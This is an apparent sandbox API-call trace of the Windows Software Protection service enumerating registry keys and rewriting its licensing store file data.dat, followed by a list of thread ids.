RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.994] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x2b, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-48", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.994] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.994] _errno () returned 0x93f095490 [0216.994] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-48", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.994] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.994] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x2c, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-49", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.994] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.994] _errno () returned 0x93f095490 [0216.995] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-49", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.995] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x90) returned 0x0 [0216.995] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x2d, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-5", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.995] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.995] _errno () returned 0x93f095490 [0216.995] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-5", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.995] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x80) returned 0x0 [0216.995] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x2e, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-50", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.995] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.995] _errno () returned 0x93f095490 [0216.995] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-50", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.996] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x40) returned 0x0 [0216.996] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x2f, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-51", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.996] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.996] _errno () returned 0x93f095490 [0216.996] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-51", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.996] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x70) returned 0x0 [0216.996] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x30, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-6", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.996] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.996] _errno () returned 0x93f095490 [0216.996] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-6", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.996] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x70) returned 0x0 [0216.996] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x31, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-7", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.996] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.997] _errno () returned 0x93f095490 [0216.997] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-7", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.997] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x90) returned 0x0 [0216.997] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x32, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-8", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.997] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.997] _errno () returned 0x93f095490 [0216.997] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-8", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.997] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0x80) returned 0x0 [0216.997] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x33, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-9", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0216.997] wcsncmp (_String1="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _String2="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P", _MaxCount=0x27) returned 0 [0216.997] _errno () returned 0x93f095490 [0216.998] RegOpenKeyW (in: hKey=0x180, lpSubKey="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-9", phkResult=0x93f6ae8d8 | out: phkResult=0x93f6ae8d8*=0x184) returned 0x0 [0216.998] RegQueryValueExW (in: hKey=0x184, lpValueName="", lpReserved=0x0, lpType=0x93f6ae908, lpData=0x93f6ae970, lpcbData=0x93f6ae8a8*=0xa0 | out: lpType=0x93f6ae908*=0x3, lpData=0x93f6ae970*, lpcbData=0x93f6ae8a8*=0xa0) returned 0x0 [0216.998] RegEnumKeyExW (in: hKey=0x180, dwIndex=0x34, lpName=0x93f6aea10, lpcchName=0x93f6ae8e8, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="8DEC0AF1-0341-4b93-85CD-72606C2DF94C-7P-9", lpcchName=0x93f6ae8e8, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x103 [0217.800] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.bak" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.bak")) returned 0xffffffff [0217.834] GetLastError () returned 0x2 [0217.834] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.tmp" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.tmp")) returned 0xffffffff [0217.834] GetLastError () returned 0x2 [0217.836] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.bak" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.bak")) returned 0xffffffff [0217.836] GetLastError () returned 0x2 [0217.836] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.tmp" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.tmp")) returned 0xffffffff [0217.836] GetLastError () returned 0x2 [0217.836] CreateFileW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80000002, hTemplateFile=0x0) returned 0x184 [0217.838] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x93f6ae62c | out: lpFileSizeHigh=0x93f6ae62c*=0x0) returned 0x9280 [0217.839] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.bak" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.bak")) returned 0xffffffff [0217.839] GetLastError () returned 0x2 [0217.839] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.tmp" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.tmp")) returned 0xffffffff [0217.839] GetLastError () returned 0x2 [0217.840] CreateFileW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80000002, hTemplateFile=0x0) returned 0x184 [0217.840] GetFileSize (in: hFile=0x184, lpFileSizeHigh=0x93f6ae62c | out: lpFileSizeHigh=0x93f6ae62c*=0x0) returned 0x9280 [0217.840] ReadFile (in: hFile=0x184, lpBuffer=0x93ee083a0, nNumberOfBytesToRead=0x9280, lpNumberOfBytesRead=0x93f6ae738, lpOverlapped=0x0 | out: lpBuffer=0x93ee083a0*, lpNumberOfBytesRead=0x93f6ae738*=0x9280, lpOverlapped=0x0) returned 1 [0218.351] _wcsicmp (_String1="__##USERSEP##\\$$_RESERVED_$$\\NAMESPACE__", _String2="__##USERSEP##\\$$_RESERVED_$$\\NAMESPACE__") returned 0 [0218.351] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x93f6aeb60 | out: lpSystemTimeAsFileTime=0x93f6aeb60*(dwLowDateTime=0xb5899a77, dwHighDateTime=0x1d31057)) [0218.392] CreateTimerQueueTimer (in: phNewTimer=0x93edf9178, TimerQueue=0x0, Callback=0x7ff6868113ec, Parameter=0x93edf9070, DueTime=0x36ee80, Period=0x36ee80, Flags=0x0 | out: phNewTimer=0x93edf9178*=0x93ee15c50) returned 1 [0218.410] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6aef00 | out: phModule=0x93f6aef00*=0x7ffd1f920000) returned 1 [0218.410] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0218.410] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6af010, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6af010, ResultLength=0x0) returned 0x0 [0218.413] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6aef00 | out: phModule=0x93f6aef00*=0x7ffd1f920000) returned 1 [0218.413] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0218.413] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6af010, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6af010, ResultLength=0x0) returned 0x0 [0218.846] _wcsicmp (_String1="SPPSVC\\55c92734-d682-4d71-983e-d6ec3f16059f", _String2="__##USERSEP##\\$$_RESERVED_$$\\NAMESPACE__") returned 20 [0218.855] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x93f6aeaa0 | out: lpSystemTimeAsFileTime=0x93f6aeaa0*(dwLowDateTime=0xb5d5e636, dwHighDateTime=0x1d31057)) [0221.213] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6adc40 | out: phModule=0x93f6adc40*=0x7ffd1f920000) returned 1 [0221.213] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0221.213] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6add50, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6add50, ResultLength=0x0) returned 0x0 [0221.248] LocalAlloc (uFlags=0x0, uBytes=0x118) returned 0x93ee00530 [0221.286] LoadLibraryExW (lpLibFileName="C:\\Windows\\system32\\wwapi.dll", hFile=0x0, dwFlags=0x0) returned 0x7ffd12e00000 [0221.306] GetProcAddress (hModule=0x7ffd12e00000, lpProcName="WwanOpenHandle") returned 0x7ffd12e04cec [0221.306] GetProcAddress (hModule=0x7ffd12e00000, lpProcName="WwanCloseHandle") returned 0x7ffd12e054e0 [0221.306] GetProcAddress (hModule=0x7ffd12e00000, lpProcName="WwanEnumerateInterfaces") returned 0x7ffd12e058e4 [0221.306] GetProcAddress (hModule=0x7ffd12e00000, lpProcName="WwanQueryInterface") returned 0x7ffd12e05c58 [0221.306] GetProcAddress (hModule=0x7ffd12e00000, lpProcName="WwanFreeMemory") returned 0x7ffd12e07e8c [0221.306] WwanOpenHandle () returned 0x426 [0221.319] GetCurrentHwProfileW (in: lpHwProfileInfo=0x93f6adb70 | out: lpHwProfileInfo=0x93f6adb70) returned 1 [0221.324] memchr (_Buf=0x93ee24a40, _Val=0, _MaxCount=0x1d1) returned 0x93ee24a63 [0221.324] memchr (_Buf=0x93ee24a64, _Val=0, _MaxCount=0x1ad) returned 0x93ee24a68 [0221.324] memchr (_Buf=0x93ee24a69, _Val=0, _MaxCount=0x1a8) returned 0x93ee24a75 [0221.324] memchr (_Buf=0x93ee24a92, _Val=0, _MaxCount=0x17f) returned 0x93ee24ab0 [0221.324] memchr (_Buf=0x93ee24ab1, _Val=0, _MaxCount=0x160) returned 0x93ee24abb [0221.324] memchr (_Buf=0x93ee24acc, _Val=0, _MaxCount=0x145) returned 0x93ee24aea [0221.324] memchr (_Buf=0x93ee24aeb, _Val=0, _MaxCount=0x126) returned 0x93ee24af5 [0221.325] memchr (_Buf=0x93ee24b0c, _Val=0, _MaxCount=0x105) returned 0x93ee24b2a [0221.325] memchr (_Buf=0x93ee24b56, _Val=0, _MaxCount=0xbb) returned 0x93ee24b58 [0221.325] memchr (_Buf=0x93ee24b59, _Val=0, _MaxCount=0xb8) returned 0x93ee24b67 [0221.325] memchr (_Buf=0x93ee24b68, _Val=0, _MaxCount=0xa9) returned 0x93ee24b93 [0221.325] memchr (_Buf=0x93ee24bac, _Val=0, _MaxCount=0x65) returned 0x93ee24bac [0221.326] memchr (_Buf=0x93ee24bd6, _Val=0, _MaxCount=0x3b) returned 0x93ee24bdc [0221.326] memchr (_Buf=0x93ee24bfd, _Val=0, _MaxCount=0x14) returned 0x93ee24bfd [0221.326] memchr (_Buf=0x93ee24c0a, _Val=0, _MaxCount=0x7) returned 0x93ee24c0a [0221.327] memchr (_Buf=0x93ee24c10, _Val=0, _MaxCount=0x1) returned 0x93ee24c10 [0221.329] memchr (_Buf=0x93ee24a40, _Val=0, _MaxCount=0x1d1) returned 0x93ee24a63 [0221.329] memchr (_Buf=0x93ee24a64, _Val=0, _MaxCount=0x1ad) returned 0x93ee24a68 [0221.329] memchr (_Buf=0x93ee24a69, _Val=0, _MaxCount=0x1a8) returned 0x93ee24a75 [0221.330] memchr (_Buf=0x93ee24a92, _Val=0, _MaxCount=0x17f) returned 0x93ee24ab0 [0221.330] memchr (_Buf=0x93ee24ab1, _Val=0, _MaxCount=0x160) returned 0x93ee24abb [0221.330] memchr (_Buf=0x93ee24acc, _Val=0, _MaxCount=0x145) returned 0x93ee24aea [0221.330] memchr (_Buf=0x93ee24aeb, _Val=0, _MaxCount=0x126) returned 0x93ee24af5 [0221.342] LocalAlloc (uFlags=0x0, uBytes=0x5a) returned 0x93fea7900 [0221.348] LocalAlloc (uFlags=0x0, uBytes=0x82) returned 0x93fdd2af0 [0221.349] GetTickCount () returned 0x26f2b [0221.366] RegFlushKey (hKey=0x2e4) returned 0x0 [0221.442] NtLockProductActivationKeys (pPrivateVer=0x0, pSafeMode=0x0) returned 0x0 [0221.556] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.bak" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.bak")) returned 0xffffffff [0221.556] GetLastError () returned 0x2 [0221.556] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.tmp" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.tmp")) returned 0xffffffff [0221.556] GetLastError () returned 0x2 [0221.557] CreateFileW (lpFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.tmp" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80000002, hTemplateFile=0x0) returned 0x184 [0221.558] WriteFile (in: hFile=0x184, lpBuffer=0x93ffb2cf0*, nNumberOfBytesToWrite=0x9290, lpNumberOfBytesWritten=0x93f6ad6d8, lpOverlapped=0x0 | out: lpBuffer=0x93ffb2cf0*, lpNumberOfBytesWritten=0x93f6ad6d8*=0x9290, lpOverlapped=0x0) returned 1 [0221.751] MoveFileExW (lpExistingFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.tmp" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.tmp"), lpNewFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.bak" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.bak"), dwFlags=0x9) returned 1 [0221.753] MoveFileExW (lpExistingFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat.bak" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat.bak"), lpNewFileName="C:\\Windows\\System32\\spp\\store\\2.0\\data.dat" (normalized: "c:\\windows\\system32\\spp\\store\\2.0\\data.dat"), dwFlags=0x9) returned 1 [0221.800] _wcsicmp (_String1="SPPSVC\\55c92734-d682-4d71-983e-d6ec3f16059f", _String2="__##USERSEP##\\$$_RESERVED_$$\\NAMESPACE__") returned 20 [0221.807] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x93f6aece0 | out: lpSystemTimeAsFileTime=0x93f6aece0*(dwLowDateTime=0xb798831a, dwHighDateTime=0x1d31057)) [0221.814] _wcsicmp (_String1="SPPSVC\\55c92734-d682-4d71-983e-d6ec3f16059f\\354d964a-56e7-43c5-a93f-287a7a750bd4", _String2="__##USERSEP##\\$$_RESERVED_$$\\NAMESPACE__") returned 20 [0221.823] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x93f6aec00 | out: lpSystemTimeAsFileTime=0x93f6aec00*(dwLowDateTime=0xb79ae58a, dwHighDateTime=0x1d31057)) [0221.851] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6ad0c8 | out: phModule=0x93f6ad0c8*=0x7ffd1f920000) returned 1 [0221.851] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0221.851] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6aed48, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6aed48, ResultLength=0x0) returned 0x0 [0221.855] LocalAlloc (uFlags=0x40, uBytes=0x4) returned 0x93ff11400 [0221.860] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6ad340 | out: phModule=0x93f6ad340*=0x7ffd1f920000) returned 1 [0221.860] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0221.860] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6aed68, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6aed68, ResultLength=0x0) returned 0x0 [0221.872] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6aed50 | out: phModule=0x93f6aed50*=0x7ffd1f920000) returned 1 [0221.873] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0221.873] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6aee60, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6aee60, ResultLength=0x0) returned 0x0 [0221.876] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6aed50 | out: phModule=0x93f6aed50*=0x7ffd1f920000) returned 1 [0221.876] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0221.876] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6aee60, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6aee60, ResultLength=0x0) returned 0x0 [0221.884] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6ae2c8 | out: phModule=0x93f6ae2c8*=0x7ffd1f920000) returned 1 [0221.884] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0221.884] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6aef08, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6aef08, ResultLength=0x0) returned 0x0 [0221.901] GetModuleHandleExW (in: dwFlags=0x1, lpModuleName="ntdll.dll", phModule=0x93f6ae660 | out: phModule=0x93f6ae660*=0x7ffd1f920000) returned 1 [0221.901] GetProcAddress (hModule=0x7ffd1f920000, lpProcName="NtQuerySystemInformation") returned 0x7ffd1f9b68d0 [0221.901] NtQuerySystemInformation (in: SystemInformationClass=0x86, SystemInformation=0x93f6aef28, Length=0x20, ResultLength=0x0 | out: SystemInformation=0x93f6aef28, ResultLength=0x0) returned 0x0 Thread: id = 973 os_tid = 0x810 Thread: id = 974 os_tid = 0x62c Thread: id = 989 os_tid = 0x3c Thread: id = 990 os_tid = 0x438